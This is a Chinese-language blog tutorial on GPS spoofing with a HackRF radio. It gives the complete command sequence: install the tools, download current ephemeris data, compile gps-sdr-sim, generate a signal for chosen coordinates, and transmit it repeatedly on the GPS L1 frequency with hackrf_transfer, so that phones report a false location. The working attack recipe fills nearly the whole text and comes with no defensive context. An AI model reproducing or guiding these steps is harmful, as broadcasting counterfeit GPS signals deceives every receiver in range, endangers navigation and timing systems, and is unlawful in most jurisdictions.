1. 程式人生 > >WiFi定位劫持·續篇——GPS劫持

WiFi定位劫持·續篇——GPS劫持

WiFi安全 GPS 硬件安全 WiFi定位

技術分享圖片

準備工作:

這裏使用的設備是hackrf,所以需要在kali下安運行hackrf的驅動和環境。打開終端,在終端中輸入以下命令:

sudo apt-get install hackrf libhackrf-dev libhackrf0

安裝完畢之後,插上hackrf,運行以下命令,可查看hackrf的基本情況如下所示:

hackrf_info

技術分享圖片
接下來需要安裝一些其他軟件,在終端輸入以下命令:

apt-get install gnuradio gnuradio-dev gr-osmosdr gr-osmosdr gqrx-sdr wireshark

安裝成功後,就可以將hackrf的GPS外部時鐘安裝上,要正確安裝安裝的圖片如下所示:

技術分享圖片
安裝完畢之後,接上相應的天線,因為這裏是發射GPS信號,所以需要將一根天線連接ANT端,一根連接OUT端,連接完畢之後如下所示:
技術分享圖片
在GPS定位中需要用到相應的導航電文,最新的導航電文可以到這個網址找到。

ftp://cddis.gsfc.nasa.gov/pub/gps/data/daily

註意,在這裏我們需要的是最新的導航電文,如果不是最新的導航電文可能會導致實驗失敗。我們可以在這裏點擊最新的年份,這裏選擇2017年的導航電文如下所示:
技術分享圖片
點擊2017年的導航電文後,拉到最底部找到brdc文件夾,出現如下界面,在其中找到最新的電文,下載下來。如下所示
技術分享圖片
然後將其中的導航電文解壓出來如下所示:
技術分享圖片
接下來從git上面下載所需的軟件gps-sdr-sim。在終端輸入如下命令即可:

Git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim

在這裏需要註意,使用gcc編譯gps-sdr-sim時如果無效,請安裝gcc這個軟件。命令如下:

apt-get install gcc

成功後會在當前目錄出現gps-sdr-sim的可執行文件。
然後隨便挑選一個經緯度,這裏選擇的是經度為0,緯度為0。
技術分享圖片
在當前目錄下,終端上執行如下命令:

./gps-sdr-sim -e brdc0820.17n -l 0,0,100 -b 8 -d 100

接下來就是讓hackrf將這個文件中的內容發射出去,註意由於現在的手機基本上都采用GPS定位,基站網格定位,和Wifi定位3種方式合一,所以這裏需要使手機處於飛行模式才可以。在終端輸入如下命令:

hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R

可以發現,在欺騙成功後,連接的衛星數量會有明顯的上升。這是因為我們假冒了其中很多的衛星。截圖如下:
GPS劫持前:
技術分享圖片
GPS劫持後:
技術分享圖片

技術分享圖片

WiFi定位劫持·續篇——GPS劫持